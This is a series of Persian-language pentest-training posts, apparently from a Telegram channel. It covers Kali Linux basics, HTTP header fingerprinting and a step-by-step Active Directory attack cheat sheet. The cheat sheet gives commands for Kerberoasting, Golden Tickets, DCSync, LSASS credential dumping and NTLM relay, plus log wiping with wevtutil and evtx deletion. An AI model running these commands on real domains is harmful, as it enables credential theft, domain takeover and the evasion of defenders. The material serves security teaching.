مقدمه: تست نفوذ چیست؟
تست نفوذ یک چرخه مداوم از تحقیق و حمله علیه یک هدف یا مرز است. این حمله باید به صورت ساختاریافته، محاسبهشده و در صورت امکان، در یک محیط آزمایشگاهی تأیید شود، قبل از اینکه بر روی یک هدف واقعی اجرا گردد. ما فرآیند یک تست نفوذ را به این صورت نشان میدهیم:
همانطور که مدل نشان میدهد، هرچه اطلاعات بیشتری جمعآوری کنید، احتمال موفقیت نفوذ بالاتر میرود. پس از اینکه از مرز اولیه هدف عبور کردید، معمولاً چرخه را دوباره از سر میگیرید. به عنوان مثال، ممکن است اطلاعاتی درباره شبکه داخلی جمعآوری کنید تا به صورت عمیقتر در آن نفوذ کنید.
✍️نویسنده
@TryHackBox| احسان آخوندی
#pwk #CyberSecurity
تست نفوذ یک چرخه مداوم از تحقیق و حمله علیه یک هدف یا مرز است. این حمله باید به صورت ساختاریافته، محاسبهشده و در صورت امکان، در یک محیط آزمایشگاهی تأیید شود، قبل از اینکه بر روی یک هدف واقعی اجرا گردد. ما فرآیند یک تست نفوذ را به این صورت نشان میدهیم:
همانطور که مدل نشان میدهد، هرچه اطلاعات بیشتری جمعآوری کنید، احتمال موفقیت نفوذ بالاتر میرود. پس از اینکه از مرز اولیه هدف عبور کردید، معمولاً چرخه را دوباره از سر میگیرید. به عنوان مثال، ممکن است اطلاعاتی درباره شبکه داخلی جمعآوری کنید تا به صورت عمیقتر در آن نفوذ کنید.
✍️نویسنده
@TryHackBox| احسان آخوندی
#pwk #CyberSecurity
👍7❤3
مقدمه: آشنایی با کالی لینوکس: قسمت اول
در ابتدا که لینوکس را نصب کرده اید، هم نام کاربری و هم رمز عبور اولیه شما kali است:
Username:
Password:
ماشین مجازی کالی لینوکس شامل دو کاربر پیشفرض به نامهای "root" و "kali" خواهد بود. ما از حساب کاربری "kali" استفاده خواهیم کرد. هرچند ممکن است وسوسهانگیز باشد که با کاربر "root" وارد شوید، اما این کار توصیه نمیشود. کاربر "root" دسترسی نامحدود دارد و یک فرمان اشتباه میتواند به سیستم ما آسیب برساند. بدتر از آن، اگر یک مهاجم بتواند از یک فرآیند در حال اجرا با دسترسی "root" سوءاستفاده کند، کنترل کامل ماشین ما را به دست خواهد گرفت.
بسیاری از دستورات برای اجرا به دسترسیهای سطح بالا نیاز دارند؛ خوشبختانه، دستور
پیشنهاد میشود که همان اول رمز عبور خود را در ترمینال با کامند
✍️نویسنده
@TryHackBox| احسان آخوندی
#pwk #CyberSecurity
در ابتدا که لینوکس را نصب کرده اید، هم نام کاربری و هم رمز عبور اولیه شما kali است:
Username:
kaliPassword:
kaliماشین مجازی کالی لینوکس شامل دو کاربر پیشفرض به نامهای "root" و "kali" خواهد بود. ما از حساب کاربری "kali" استفاده خواهیم کرد. هرچند ممکن است وسوسهانگیز باشد که با کاربر "root" وارد شوید، اما این کار توصیه نمیشود. کاربر "root" دسترسی نامحدود دارد و یک فرمان اشتباه میتواند به سیستم ما آسیب برساند. بدتر از آن، اگر یک مهاجم بتواند از یک فرآیند در حال اجرا با دسترسی "root" سوءاستفاده کند، کنترل کامل ماشین ما را به دست خواهد گرفت.
بسیاری از دستورات برای اجرا به دسترسیهای سطح بالا نیاز دارند؛ خوشبختانه، دستور
sudo میتواند این مشکل را حل کند. ما عبارت sudo را قبل از دستوری که میخواهیم اجرا کنیم وارد کرده و در صورت درخواست، رمز عبور خود را وارد میکنیم.پیشنهاد میشود که همان اول رمز عبور خود را در ترمینال با کامند
passwd تغییر دهید:✍️نویسنده
@TryHackBox| احسان آخوندی
#pwk #CyberSecurity
👍7🔥1
🚀 پارت 1 (A)
بررسی HTTP Headers و شناسایی کاربران
در HTTP، هدرهای درخواست (Request Headers) اطلاعاتی درباره کاربر، مرورگر، مسیر ورود و تنظیمات کلاینت ارائه میدهند. برخی از این هدرها به سرور کمک میکنند تا کاربر را شناسایی یا ردیابی کند؛ حتی زمانی که ورود (Login) انجام نشده باشد.
در این پست، به بررسی ۷ هدر پرکاربرد در شناسایی کلاینتها میپردازیم:
1️⃣ From
این هدر شامل آدرس ایمیل کاربر است و در گذشته به عنوان راهی برای شناسایی کاربران در نظر گرفته میشد.
🔴 اما امروز، مرورگرها معمولاً این هدر را ارسال نمیکنند چون میتواند منجر به سوءاستفادههایی مانند اسپم یا فیشینگ شود.
🛑 در عمل، From یک هدر تقریباً منسوخ و ناامن محسوب میشود.
✍️نویسنده
@TryHackBox | The Chaos
#HTTP #Cookies #CyberSecurity
بررسی HTTP Headers و شناسایی کاربران
در HTTP، هدرهای درخواست (Request Headers) اطلاعاتی درباره کاربر، مرورگر، مسیر ورود و تنظیمات کلاینت ارائه میدهند. برخی از این هدرها به سرور کمک میکنند تا کاربر را شناسایی یا ردیابی کند؛ حتی زمانی که ورود (Login) انجام نشده باشد.
در این پست، به بررسی ۷ هدر پرکاربرد در شناسایی کلاینتها میپردازیم:
1️⃣ From
این هدر شامل آدرس ایمیل کاربر است و در گذشته به عنوان راهی برای شناسایی کاربران در نظر گرفته میشد.
🔴 اما امروز، مرورگرها معمولاً این هدر را ارسال نمیکنند چون میتواند منجر به سوءاستفادههایی مانند اسپم یا فیشینگ شود.
🛑 در عمل، From یک هدر تقریباً منسوخ و ناامن محسوب میشود.
✍️نویسنده
@TryHackBox | The Chaos
#HTTP #Cookies #CyberSecurity
🔥4
🚀 پارت 1 (B)
بررسی HTTP Headers و شناسایی کاربران
2️⃣ User-Agent
شامل اطلاعات دقیق درباره مرورگر، نسخه آن، سیستمعامل و گاهی معماری سیستم است.
مثال:
🔍 کاربرد امنیتی: ترکیب این اطلاعات میتواند در ساخت یک پروفایل نسبی از کلاینت استفاده شود. اگر ترکیب User-Agent خاصی فقط توسط یک کاربر استفاده شود، سرور میتواند آن را شناسایی کند.
3️⃣ Referer
مشخص میکند که کاربر از کدام صفحه یا سایت به این صفحه فعلی رسیده است.
✅ کاربردها:
* تحلیل رفتار کاربران
* ردگیری مسیر بازدید (Path Tracking)
* شناسایی منابع ترافیک (مثلاً از Google آمده یا از یک سایت تبلیغاتی)
⚠️ از منظر امنیتی، این هدر میتواند اطلاعات حساس (مانند توکنها در URL) را نیز فاش کند، به همین دلیل در بسیاری از برنامههای امن، مقدار آن کنترل یا حذف میشود.
4️⃣ Accept-Language
مشخص میکند زبانهای ترجیحی کاربر چیست. برای مثال:
🌐 کاربردها:
* نمایش خودکار سایت به زبان مناسب
* شناسایی منطقه جغرافیایی کاربر
🎯 در کنار IP و User-Agent میتواند بخشی از پروفایل شناسایی کاربر را شکل دهد.
5️⃣ Accept
این هدر مشخص میکند که کلاینت چه نوع محتواهایی را پشتیبانی میکند (مثلاً HTML، JSON یا XML).
نمونه:
🧩 اگرچه نقش مستقیمی در شناسایی ندارد، ولی ترکیب خاص مقادیر این هدر میتواند بهصورت غیرمستقیم در Fingerprinting کاربر مفید باشد.
6️⃣ Accept-Encoding
بیان میکند که چه الگوریتمهای فشردهسازی (مثل gzip یا br) توسط کلاینت پشتیبانی میشوند.
🛡 اگرچه هدف اصلی آن کاهش حجم پاسخ است، اما باز هم میتواند بخشی از اثر انگشت مرورگر (Browser Fingerprint) را بسازد.
7️⃣ DNT (Do Not Track)
این هدر اعلام میکند که آیا کاربر میخواهد ردیابی نشود (Do Not Track).
مقدار آن معمولاً
🚫 این هدر غیرالزامی و داوطلبانه است، و بسیاری از سرورها آن را نادیده میگیرند.
📌 جمعبندی:
درست است که هیچکدام از این هدرها بهتنهایی برای شناسایی دقیق کافی نیستند، اما ترکیب آنها میتواند به ساخت اثر انگشت دیجیتال (Fingerprint) کمک کند. این روشها پایه بسیاری از سامانههای تشخیص تقلب، تبلیغات هدفمند، یا حتی حملات مبتنی بر شناسایی مرورگر هستند.
✍️نویسنده
@TryHackBox | The Chaos
#HTTP #Cookies #CyberSecurity
بررسی HTTP Headers و شناسایی کاربران
2️⃣ User-Agent
شامل اطلاعات دقیق درباره مرورگر، نسخه آن، سیستمعامل و گاهی معماری سیستم است.
مثال:
Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
🔍 کاربرد امنیتی: ترکیب این اطلاعات میتواند در ساخت یک پروفایل نسبی از کلاینت استفاده شود. اگر ترکیب User-Agent خاصی فقط توسط یک کاربر استفاده شود، سرور میتواند آن را شناسایی کند.
3️⃣ Referer
مشخص میکند که کاربر از کدام صفحه یا سایت به این صفحه فعلی رسیده است.
✅ کاربردها:
* تحلیل رفتار کاربران
* ردگیری مسیر بازدید (Path Tracking)
* شناسایی منابع ترافیک (مثلاً از Google آمده یا از یک سایت تبلیغاتی)
⚠️ از منظر امنیتی، این هدر میتواند اطلاعات حساس (مانند توکنها در URL) را نیز فاش کند، به همین دلیل در بسیاری از برنامههای امن، مقدار آن کنترل یا حذف میشود.
4️⃣ Accept-Language
مشخص میکند زبانهای ترجیحی کاربر چیست. برای مثال:
Accept-Language: fa-IR,fa;q=0.9,en-US;q=0.8,en;q=0.7
🌐 کاربردها:
* نمایش خودکار سایت به زبان مناسب
* شناسایی منطقه جغرافیایی کاربر
🎯 در کنار IP و User-Agent میتواند بخشی از پروفایل شناسایی کاربر را شکل دهد.
5️⃣ Accept
این هدر مشخص میکند که کلاینت چه نوع محتواهایی را پشتیبانی میکند (مثلاً HTML، JSON یا XML).
نمونه:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
🧩 اگرچه نقش مستقیمی در شناسایی ندارد، ولی ترکیب خاص مقادیر این هدر میتواند بهصورت غیرمستقیم در Fingerprinting کاربر مفید باشد.
6️⃣ Accept-Encoding
بیان میکند که چه الگوریتمهای فشردهسازی (مثل gzip یا br) توسط کلاینت پشتیبانی میشوند.
🛡 اگرچه هدف اصلی آن کاهش حجم پاسخ است، اما باز هم میتواند بخشی از اثر انگشت مرورگر (Browser Fingerprint) را بسازد.
7️⃣ DNT (Do Not Track)
این هدر اعلام میکند که آیا کاربر میخواهد ردیابی نشود (Do Not Track).
مقدار آن معمولاً
1 برای فعالبودن یا 0 برای غیرفعالبودن است.🚫 این هدر غیرالزامی و داوطلبانه است، و بسیاری از سرورها آن را نادیده میگیرند.
📌 جمعبندی:
درست است که هیچکدام از این هدرها بهتنهایی برای شناسایی دقیق کافی نیستند، اما ترکیب آنها میتواند به ساخت اثر انگشت دیجیتال (Fingerprint) کمک کند. این روشها پایه بسیاری از سامانههای تشخیص تقلب، تبلیغات هدفمند، یا حتی حملات مبتنی بر شناسایی مرورگر هستند.
✍️نویسنده
@TryHackBox | The Chaos
#HTTP #Cookies #CyberSecurity
❤10🔥2🙏2
مقدمه: آشنایی با کالی لینوکس: قسمت دوم
کالی لینوکس از استاندارد سلسلهمراتب سیستم فایل (FHS) پیروی میکند که یک ساختار آشنا و جهانی برای تمام کاربران لینوکس فراهم میآورد. دایرکتوریهایی که بیشتر به کار شما خواهند آمد عبارتند از:
دایرکتوریهای دیگری نیز وجود دارند که به ندرت نیاز به ورود به آنها خواهید داشت، اما آشنایی خوب با ساختار سیستم فایل لینوکس، به شدت به کارایی شما کمک خواهد کرد.
✍️نویسنده
@TryHackBox| احسان آخوندی
#pwk #CyberSecurity
کالی لینوکس از استاندارد سلسلهمراتب سیستم فایل (FHS) پیروی میکند که یک ساختار آشنا و جهانی برای تمام کاربران لینوکس فراهم میآورد. دایرکتوریهایی که بیشتر به کار شما خواهند آمد عبارتند از:
/bin - برنامههای پایه (مانند ls, cd, cat و غیره)/sbin - برنامههای سیستمی (مانند fdisk, mkfs, sysctl و غیره) /etc - فایلهای پیکربندی/tmp - فایلهای موقت (که معمولاً هنگام راهاندازی مجدد، حذف میشوند) /usr/bin - برنامهها (مانند apt, ncat, nmap و غیره)/usr/share - فایلهای پشتیبانی برنامه و دادههادایرکتوریهای دیگری نیز وجود دارند که به ندرت نیاز به ورود به آنها خواهید داشت، اما آشنایی خوب با ساختار سیستم فایل لینوکس، به شدت به کارایی شما کمک خواهد کرد.
✍️نویسنده
@TryHackBox| احسان آخوندی
#pwk #CyberSecurity
👍6❤3
XXE Cheat Sheet (2025 Update).pdf
626.8 KB
✏️ مقاله تالیف شده
XXE Cheat Sheet (2025 Update)
✍️نویسنده
@TryHackBox | The Chaos
#XEE #CheatSheet #CyberSecurity
XXE Cheat Sheet (2025 Update)
✍️نویسنده
@TryHackBox | The Chaos
#XEE #CheatSheet #CyberSecurity
👍4🔥4
مقدمه:آشنایی با کالی لینوکس: قسمت سوم: basic linux commands
1. man pages
دستور
استفاده:
بهعنوان مثال:
این دستور مستندات مربوط به دستور
2. apropos
دستور
استفاده:
بهعنوان مثال:
این دستور تمام دستورات و ابزارهایی که مرتبط با شبکه هستند را نمایش میدهد.
3. listing files & options
دستور
آپشنها:
*
*
*
*
استفاده:
این دستور لیست تمام فایلها و دایرکتوریها را بههمراه جزئیات نشان میدهد، حتی فایلهای مخفی.
4. cd
دستور
استفاده:
بهعنوان مثال:
این دستور شما را به دایرکتوری
نکات:
* اگر دستور
* استفاده از
5. pwd
شرح: دستور
استفاده:
این دستور مسیر دایرکتوری فعلی را نمایش میدهد، بهعنوان مثال:
بهعنوان مثال:
این دستور یک دایرکتوری به نام
آپشنها:
*
این دستور دایرکتوری
جمعبندی:
این دستورات جزو دستورات پایهای و مهم در لینوکس هستند که برای مدیریت دایرکتوریها، فایلها، و جستجو در مستندات سیستم استفاده میشوند. برای کار با Kali Linux و انجام تستهای نفوذ، این دستورات بسیار مهم هستند و اغلب در فرآیندهای مختلف استفاده میشوند.
✍️نویسنده
@TryHackBox| احسان آخوندی
#pwk #CyberSecurity
1. man pages
دستور
man (مخفف Manual) به شما این امکان را میدهد که مستندات و راهنماهای مربوط به دستورات لینوکس را مشاهده کنید. هر دستور در لینوکس، مستندات یا "صفحات راهنما" دارد که توضیحاتی در مورد نحوه استفاده از آن دستور، آپشنها، و پارامترهای مختلف را ارائه میدهند.استفاده:
man <command>
بهعنوان مثال:
man ls
این دستور مستندات مربوط به دستور
ls (که برای لیست کردن محتویات دایرکتوری استفاده میشود) را نمایش میدهد.2. apropos
دستور
apropos به شما این امکان را میدهد که بهدنبال یک عبارت یا کلمه کلیدی در صفحات راهنمای لینوکس بگردید. این دستور بهویژه زمانی مفید است که شما بخواهید از دستورات موجود در سیستم برای انجام یک کار خاص آگاه شوید، اما دقیقا نمیدانید که چه دستوری برای انجام آن کار وجود دارد.استفاده:
apropos <keyword>
بهعنوان مثال:
apropos network
این دستور تمام دستورات و ابزارهایی که مرتبط با شبکه هستند را نمایش میدهد.
3. listing files & options
دستور
ls برای لیست کردن فایلها و دایرکتوریها در یک دایرکتوری استفاده میشود. این دستور میتواند با آپشنهای مختلف برای نمایش اطلاعات بیشتر مانند جزئیات فایلها، ترتیب خاص و فیلترهای مختلف تنظیم شود.آپشنها:
*
-l: نمایش اطلاعات بهصورت لیست (جزئیات فایلها مانند مجوزها، سایز، تاریخ و غیره).*
-a: نمایش فایلهای مخفی (فایلهایی که نام آنها با نقطه شروع میشود).*
-h: نمایش اندازه فایلها بهصورت خوانا (مثلاً 1K, 234M).*
-R: نمایش محتویات دایرکتوریها بهصورت بازگشتی.استفاده:
ls -la
این دستور لیست تمام فایلها و دایرکتوریها را بههمراه جزئیات نشان میدهد، حتی فایلهای مخفی.
4. cd
دستور
cd (مخفف "change directory") برای تغییر دایرکتوری فعلی در سیستم فایل استفاده میشود. با استفاده از این دستور میتوانید به دایرکتوریهای مختلف جابهجا شوید.استفاده:
cd <directory_path>
بهعنوان مثال:
cd /home/user/Documents
این دستور شما را به دایرکتوری
Documents در مسیر /home/user/ منتقل میکند.نکات:
* اگر دستور
cd بدون آرگومان اجرا شود، به دایرکتوری خانگی (home) شما منتقل میشود.* استفاده از
cd .. شما را به دایرکتوری بالاتر (والد) میبرد.5. pwd
شرح: دستور
pwd (مخفف "print working directory") برای نمایش مسیر دایرکتوری فعلی که در آن قرار دارید، استفاده میشود. این دستور مسیر کامل دایرکتوری جاری را نمایش میدهد.استفاده:
pwd
این دستور مسیر دایرکتوری فعلی را نمایش میدهد، بهعنوان مثال:
/home/user/Documents
6. mkdir
دستور mkdir برای ایجاد دایرکتوریهای جدید در سیستم استفاده میشود.
mkdir <directory_name>
بهعنوان مثال:
mkdir new_folder
این دستور یک دایرکتوری به نام
new_folder در دایرکتوری فعلی ایجاد میکند.آپشنها:
*
-p: این آپشن به شما اجازه میدهد که چندین دایرکتوری را به صورت همزمان و به صورت سلسلهمراتبی بسازید. اگر دایرکتوری پدر وجود نداشته باشد، آنرا نیز ایجاد میکند.mkdir -p /home/user/new_folder/sub_folder
این دستور دایرکتوری
new_folder و سپس sub_folder را در داخل آن ایجاد میکند.جمعبندی:
این دستورات جزو دستورات پایهای و مهم در لینوکس هستند که برای مدیریت دایرکتوریها، فایلها، و جستجو در مستندات سیستم استفاده میشوند. برای کار با Kali Linux و انجام تستهای نفوذ، این دستورات بسیار مهم هستند و اغلب در فرآیندهای مختلف استفاده میشوند.
✍️نویسنده
@TryHackBox| احسان آخوندی
#pwk #CyberSecurity
⚡4👍3❤2
Active Directory attack Cheat sheet
(جمعآوری اطلاعات)
استفاده از ابزارهای:
BloodHound + SharpHound برای تحلیل گرافی
PowerView برای Enumeration:
Get-NetUser برای لیست کاربران
Get-NetGroup برای لیست گروهها
Get-NetComputer برای لیست کامپیوترها
AdFind.exe:
مثال: AdFind.exe -f "(objectcategory=person)"
ldapsearch روی لینوکس یا Kali
چک کردن Trust بین دامنهها (Get-NetDomainTrust)
🚪 مرحله ۲: Initial Access (دسترسی اولیه)
فیشینگ، فایل مخرب، دسترسی از طریق آسیبپذیریها
اکسپلویتهایی مثل:
Zerologon (CVE-2020-1472)
PetitPotam برای NTLM Relay
حمله به سرویسهای داخلی:
SMB Signing Disabled → Relay Attacks
NTLM Authentication Abuse
استفاده از Impacket برای اجرای ntlmrelayx.py
@TryHackBox | arian momeni
(جمعآوری اطلاعات)
استفاده از ابزارهای:
BloodHound + SharpHound برای تحلیل گرافی
PowerView برای Enumeration:
Get-NetUser برای لیست کاربران
Get-NetGroup برای لیست گروهها
Get-NetComputer برای لیست کامپیوترها
AdFind.exe:
مثال: AdFind.exe -f "(objectcategory=person)"
ldapsearch روی لینوکس یا Kali
چک کردن Trust بین دامنهها (Get-NetDomainTrust)
🚪 مرحله ۲: Initial Access (دسترسی اولیه)
فیشینگ، فایل مخرب، دسترسی از طریق آسیبپذیریها
اکسپلویتهایی مثل:
Zerologon (CVE-2020-1472)
PetitPotam برای NTLM Relay
حمله به سرویسهای داخلی:
SMB Signing Disabled → Relay Attacks
NTLM Authentication Abuse
استفاده از Impacket برای اجرای ntlmrelayx.py
@TryHackBox | arian momeni
👍7
How AI Impacts Cloud Security.pdf
7.6 MB
#AI #Cloud_Security
🔖 هوش مصنوعی و امنیت کلاد
⭕ رشد ناگهانی ابزارهای هوش مصنوعی پیشرفته (GenAI) در سال گذشته باعث شده هوش مصنوعی به مرکز توجه صنعت فناوری و افکار عمومی تبدیل شود. فناوری هوش مصنوعی نقشی مهم در بخش فناوری داشته، به ویژه در حوزه امنیت کلاد یا ابری. بازار امنیت کلاد به سرعت در حال رشد است و قابلیت های هوش مصنوعی حالا عامل تعیین کننده ای هنگام انتخاب راه حل امنیت کلاد توسط شرکت ها محسوب میشود.
@TryHackBox | Group | Github | YouTube
🔖 هوش مصنوعی و امنیت کلاد
⭕ رشد ناگهانی ابزارهای هوش مصنوعی پیشرفته (GenAI) در سال گذشته باعث شده هوش مصنوعی به مرکز توجه صنعت فناوری و افکار عمومی تبدیل شود. فناوری هوش مصنوعی نقشی مهم در بخش فناوری داشته، به ویژه در حوزه امنیت کلاد یا ابری. بازار امنیت کلاد به سرعت در حال رشد است و قابلیت های هوش مصنوعی حالا عامل تعیین کننده ای هنگام انتخاب راه حل امنیت کلاد توسط شرکت ها محسوب میشود.
@TryHackBox | Group | Github | YouTube
🔥5
Try Hack Box
Active Directory attack Cheat sheet (جمعآوری اطلاعات) استفاده از ابزارهای: BloodHound + SharpHound برای تحلیل گرافی PowerView برای Enumeration: Get-NetUser برای لیست کاربران Get-NetGroup برای لیست گروهها Get-NetComputer برای لیست کامپیوترها AdFind.exe:…
🧨 مرحله ۳: Privilege Escalation (ارتقاء دسترسی)
Kerberoasting:
گرفتن TGS Hash:
GetUserSPNs.py domain/user:pass@dc-ip -outputfile hashes.txt
کرک با hashcat:
hashcat -m 13100 hashes.txt rockyou.txt
AS-REP Roasting:
اگر کاربر نیاز به pre-auth نداشته باشه:
GetNPUsers.py domain/ -usersfile users.txt -format hashcat
Unconstrained Delegation یا Privilege Misconfigurations
ACL Abuse با PowerView → پیدا کردن کاربرهایی که روی objectهای مهم کنترل دارند
@TryHackBox | arian momeni
Kerberoasting:
گرفتن TGS Hash:
GetUserSPNs.py domain/user:pass@dc-ip -outputfile hashes.txt
کرک با hashcat:
hashcat -m 13100 hashes.txt rockyou.txt
AS-REP Roasting:
اگر کاربر نیاز به pre-auth نداشته باشه:
GetNPUsers.py domain/ -usersfile users.txt -format hashcat
Unconstrained Delegation یا Privilege Misconfigurations
ACL Abuse با PowerView → پیدا کردن کاربرهایی که روی objectهای مهم کنترل دارند
@TryHackBox | arian momeni
❤5⚡1
Try Hack Box
🧨 مرحله ۳: Privilege Escalation (ارتقاء دسترسی) Kerberoasting: گرفتن TGS Hash: GetUserSPNs.py domain/user:pass@dc-ip -outputfile hashes.txt کرک با hashcat: hashcat -m 13100 hashes.txt rockyou.txt AS-REP Roasting: اگر کاربر نیاز به pre-auth نداشته باشه:…
🧬 مرحله ۴: Persistence (پایداری)
Golden Ticket:
ساختن با Mimikatz:
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-... /krbtgt:<hash>
Skeleton Key (موقعی که به DC دسترسی داریم)
SIDHistory Injection
Abuse کردن AdminSDHolder یا GPO برای حفظ دسترسی
🔁 مرحله ۵: Lateral Movement (حرکت جانبی)
تکنیکهای کلیدی:
Pass-the-Hash
Pass-the-Ticket
Overpass-the-Hash
استفاده از WMI / PsExec / WinRM برای اجرای ریموت
ابزارهای:
wmiexec.py
PsExec.exe
CrackMapExec (لینوکس)
SharpExec.exe یا PowerShell Remoting
🏰 مرحله ۶: Domain Controller Compromise
DCSync Attack با Mimikatz:
lsadump::dcsync /domain:domain.local /user:krbtgt
DCShadow Attack
Dump LSASS با Procdump:
procdump -ma lsass.exe lsass.dmp
و استخراج رمزها با Mimikatz:
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
🪖مرحله ۷: Exfiltration & Cleanup
Exfiltration با SMB، DNS Tunneling یا ابزارهایی مثل Rclone
حذف لاگ:
wevtutil cl Security
del *.evtx
پوشاندن ردپاها با ابزارهای پاکسازی (مثلاً Invoke-Phant0m.ps1)
نویسنده
@TryHackBox | arian momeni
Golden Ticket:
ساختن با Mimikatz:
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-... /krbtgt:<hash>
Skeleton Key (موقعی که به DC دسترسی داریم)
SIDHistory Injection
Abuse کردن AdminSDHolder یا GPO برای حفظ دسترسی
🔁 مرحله ۵: Lateral Movement (حرکت جانبی)
تکنیکهای کلیدی:
Pass-the-Hash
Pass-the-Ticket
Overpass-the-Hash
استفاده از WMI / PsExec / WinRM برای اجرای ریموت
ابزارهای:
wmiexec.py
PsExec.exe
CrackMapExec (لینوکس)
SharpExec.exe یا PowerShell Remoting
🏰 مرحله ۶: Domain Controller Compromise
DCSync Attack با Mimikatz:
lsadump::dcsync /domain:domain.local /user:krbtgt
DCShadow Attack
Dump LSASS با Procdump:
procdump -ma lsass.exe lsass.dmp
و استخراج رمزها با Mimikatz:
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
🪖مرحله ۷: Exfiltration & Cleanup
Exfiltration با SMB، DNS Tunneling یا ابزارهایی مثل Rclone
حذف لاگ:
wevtutil cl Security
del *.evtx
پوشاندن ردپاها با ابزارهای پاکسازی (مثلاً Invoke-Phant0m.ps1)
نویسنده
@TryHackBox | arian momeni
❤7
مقدمه: آشنایی با کالی لینوکس: قسمت چهارم جستجو در فایلها و مدیریت سرویسها
1.جستجو در فایل ها
برای پیدا کردن فایلها، سه ابزار اصلی وجود دارد:
- which: مسیر کامل یک دستور اجرایی را در متغیر محیطی
- locate: سریعترین ابزار جستجو که از یک دیتابیس داخلی استفاده میکند. این دیتابیس با دستور
- find: قدرتمندترین و انعطافپذیرترین ابزار جستجو که میتواند بر اساس معیارهای مختلفی مانند نام، اندازه، مالک و زمان جستجو کند.
مثال:
برای جستجوی فایلی با نام "passwords.txt" با
برای جستجوی فایلی که نامش با "conf" شروع میشود در دایرکتوری
2.مدیریت سرویسها و ابزارها
برای حفظ یک پروفایل امنیتی پایین، سرویسهای شبکه مانند SSH و HTTP به صورت پیشفرض در کالی غیرفعال هستند. برای مدیریت آنها از دستور
مثال:
برای شروع سرویس SSH که به صورت پیشفرض روی پورت 22 گوش میدهد:
برای فعال کردن آن جهت راهاندازی خودکار هنگام بوت:
2.1.راهاندازی سرویس HTTP در کالی لینوکس
در کالی لینوکس، سرویس HTTP (Apache) به صورت پیشفرض غیرفعال است تا امنیت سیستم حفظ شود. برای راهاندازی و مدیریت این سرویس، از ابزار
شروع سرویس HTTP
برای شروع سرویس HTTP به صورت موقت در ترمینال، از دستور زیر استفاده کنید:
بعد از اجرای این دستور، سرویس HTTP روی پورت پیشفرض 80 شروع به کار میکند.
بررسی وضعیت سرویس
برای اطمینان از اینکه سرویس به درستی فعال شده است، میتوانید وضعیت آن را با دستور زیر بررسی کنید:
اگر سرویس فعال باشد، خروجی نشان میدهد که
2.2.فعال کردن بوت خودکار
اگر میخواهید سرویس HTTP هر بار که سیستم را روشن میکنید به صورت خودکار راهاندازی شود، باید آن را فعال (enable) کنید. این کار باعث میشود سرویس در زمان بوت سیستم به صورت خودکار اجرا شود.
برای فعال کردن بوت خودکار سرویس HTTP، دستور زیر را در ترمینال وارد کنید:
با اجرای این دستور، یک لینک نمادین (symlink) ایجاد میشود که تضمین میکند سرویس در فرآیند راهاندازی سیستم، شروع به کار کند. از این پس، هر بار که کالی لینوکس را روشن میکنید، سرویس HTTP به صورت خودکار فعال خواهد بود.
در آینده برای غیرفعال کردن بوت خودکار، کافیست از گزینه
✍️نویسنده
@TryHackBox| احسان آخوندی
#pwk #CyberSecurity
1.جستجو در فایل ها
برای پیدا کردن فایلها، سه ابزار اصلی وجود دارد:
- which: مسیر کامل یک دستور اجرایی را در متغیر محیطی
PATH پیدا میکند.- locate: سریعترین ابزار جستجو که از یک دیتابیس داخلی استفاده میکند. این دیتابیس با دستور
updatedb بهروزرسانی میشود.- find: قدرتمندترین و انعطافپذیرترین ابزار جستجو که میتواند بر اساس معیارهای مختلفی مانند نام، اندازه، مالک و زمان جستجو کند.
مثال:
برای جستجوی فایلی با نام "passwords.txt" با
locate:locate passwords.txt
برای جستجوی فایلی که نامش با "conf" شروع میشود در دایرکتوری
/etc با find:find /etc -name "conf*"
2.مدیریت سرویسها و ابزارها
برای حفظ یک پروفایل امنیتی پایین، سرویسهای شبکه مانند SSH و HTTP به صورت پیشفرض در کالی غیرفعال هستند. برای مدیریت آنها از دستور
systemctl استفاده میکنیم.مثال:
برای شروع سرویس SSH که به صورت پیشفرض روی پورت 22 گوش میدهد:
sudo systemctl start ssh
برای فعال کردن آن جهت راهاندازی خودکار هنگام بوت:
sudo systemctl enable ssh
2.1.راهاندازی سرویس HTTP در کالی لینوکس
در کالی لینوکس، سرویس HTTP (Apache) به صورت پیشفرض غیرفعال است تا امنیت سیستم حفظ شود. برای راهاندازی و مدیریت این سرویس، از ابزار
systemctl استفاده میکنیم.شروع سرویس HTTP
برای شروع سرویس HTTP به صورت موقت در ترمینال، از دستور زیر استفاده کنید:
sudo systemctl start apache2
sudo: این دستور اجازه میدهد تا با دسترسی کاربر روت این دستور را اجرا کنیدsystemctl: ابزاری برای کنترل سرویسهای سیستمی در لینوکسapache2: نام سرویس HTTPدر کالی.بعد از اجرای این دستور، سرویس HTTP روی پورت پیشفرض 80 شروع به کار میکند.
بررسی وضعیت سرویس
برای اطمینان از اینکه سرویس به درستی فعال شده است، میتوانید وضعیت آن را با دستور زیر بررسی کنید:
sudo systemctl status apache2
اگر سرویس فعال باشد، خروجی نشان میدهد که
active (running) است.2.2.فعال کردن بوت خودکار
اگر میخواهید سرویس HTTP هر بار که سیستم را روشن میکنید به صورت خودکار راهاندازی شود، باید آن را فعال (enable) کنید. این کار باعث میشود سرویس در زمان بوت سیستم به صورت خودکار اجرا شود.
برای فعال کردن بوت خودکار سرویس HTTP، دستور زیر را در ترمینال وارد کنید:
sudo systemctl enable apache2
با اجرای این دستور، یک لینک نمادین (symlink) ایجاد میشود که تضمین میکند سرویس در فرآیند راهاندازی سیستم، شروع به کار کند. از این پس، هر بار که کالی لینوکس را روشن میکنید، سرویس HTTP به صورت خودکار فعال خواهد بود.
در آینده برای غیرفعال کردن بوت خودکار، کافیست از گزینه
disable استفاده کنید:sudo systemctl disable apache2
✍️نویسنده
@TryHackBox| احسان آخوندی
#pwk #CyberSecurity
1👍8❤3
مقدمه: قسمت پنجم: آشنایی با کالی لینوکس: مدیریت بستهها و برنامهها و لینک های مفید برای یادگیری بیشتر
مدیریت بستهها و برنامهها
برای مدیریت بستهها یا برنامهها، از مجموعه ابزارهای APT (Advanced Package Tool) استفاده میشود که وابستگیهای برنامهها را به صورت هوشمند مدیریت میکند.
*
*
*
*
مثال:
برای نصب برنامه pure-ftpd:
برای حذف کامل آن:
مثال:
برای نصب یک فایل بستهی .deb که از قبل دانلود شده است:
منابع آموزشی و مستندات
